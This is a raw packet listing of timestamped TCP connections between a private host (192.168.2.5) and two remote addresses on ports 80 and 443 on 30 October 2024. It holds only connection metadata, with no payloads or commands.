Oct 30, 2024 00:21:29.467772961 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.468583107 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.468597889 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.468614101 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.468636036 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.468641043 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.468683004 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.469422102 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.469536066 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.470577955 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.470592976 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.470638037 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.616533995 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:29.616631985 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:29.616705894 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:29.616827965 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:29.616873026 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:29.619617939 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619652033 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619683981 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619700909 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619718075 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619729996 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.619767904 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.619877100 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619893074 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619910002 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619925976 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.619951010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619955063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.619976997 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.619991064 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.619996071 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620017052 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620033026 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620044947 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620060921 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620089054 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620098114 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620326996 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620388985 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620415926 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620451927 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620454073 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620467901 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620485067 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620495081 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620508909 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620531082 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620620966 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620699883 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620732069 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620748997 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620757103 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620773077 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620774984 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620796919 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.620800018 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620815039 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620837927 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.620841026 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621172905 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621189117 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621205091 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621222019 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621236086 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621251106 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621251106 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621273994 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621299028 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621578932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621596098 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621613026 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621642113 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621645927 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621661901 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621668100 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621676922 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621694088 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621695042 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621706009 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621710062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.621726036 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.621742964 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622158051 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622174025 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622188091 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622201920 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622219086 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622232914 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622235060 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622252941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622257948 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622270107 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622282982 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622293949 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622297049 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622309923 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622318983 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622328043 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.622338057 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622354984 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.622369051 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.625070095 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.625123978 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.713205099 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:29.713239908 CET	443	59806	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:29.713365078 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:29.713679075 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:29.713692904 CET	443	59806	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:29.773572922 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773592949 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773623943 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773639917 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773655891 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773669958 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773684978 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773684025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773710966 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773736000 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773741007 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773756981 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773758888 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773773909 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773781061 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773797989 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773804903 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773812056 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773821115 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773849964 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773860931 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773864985 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773894072 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773894072 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773910046 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773910046 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773926973 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773933887 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773943901 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773962021 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.773987055 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.773999929 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774035931 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774039984 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774074078 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774082899 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774096966 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774121046 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774135113 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774137020 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774152994 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774193048 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774244070 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774256945 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774271965 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774282932 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774311066 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774318933 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774333954 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774358034 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774364948 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774454117 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774513960 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774528027 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774535894 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774566889 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774589062 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774602890 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774617910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774633884 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774647951 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774647951 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774669886 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774689913 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774720907 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774734974 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774751902 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774776936 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774790049 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774838924 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774853945 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774872065 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774888039 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774893999 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774904013 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.774919033 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.774965048 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.775063038 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775078058 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775103092 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.775106907 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775122881 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.775124073 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775141001 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775161982 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.775187969 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.775194883 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775211096 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775224924 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775239944 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.775249958 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.775278091 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780591011 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780605078 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780621052 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780635118 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780647039 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780651093 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780668974 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780688047 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780700922 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780716896 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780725956 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780734062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780749083 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780764103 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780774117 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780778885 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780797958 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780803919 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780812979 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780832052 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780838966 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780848980 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780864954 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780880928 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780889034 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780895948 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780910969 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780913115 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780925989 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780941010 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780941010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780956984 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.780960083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780981064 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.780987978 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781006098 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781018019 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781025887 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781033993 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781049013 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781054974 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781064987 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781075001 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781080008 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781089067 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781095982 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781107903 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781124115 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781128883 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781140089 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781143904 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781172991 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781184912 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781188011 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781203985 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781209946 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781219959 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781225920 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781235933 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781239986 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781250954 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781261921 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781266928 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781272888 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781282902 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781291962 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781301975 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781307936 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781318903 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781327009 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781335115 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781346083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781352043 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781364918 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.781373024 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781389952 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.781409025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927563906 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927580118 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927609921 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927624941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927634001 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927640915 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927655935 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927675962 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927685976 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927700996 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927706003 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927717924 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927733898 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927743912 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927750111 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927767992 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927774906 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927792072 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927809000 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927823067 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927839041 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927849054 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927854061 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927869081 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927895069 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927898884 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927915096 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927918911 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927932024 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927947044 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.927963018 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927972078 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927985907 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.927995920 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928010941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928039074 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928052902 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928055048 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928070068 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928082943 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928098917 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928112030 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928116083 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928133011 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928145885 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928157091 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928178072 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928200006 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928433895 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928463936 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928478956 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928478956 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928497076 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928502083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928514004 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928523064 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928536892 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928555965 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.928705931 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928734064 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.928751945 CET	80	59802	185.215.113.16	192.168.2.5
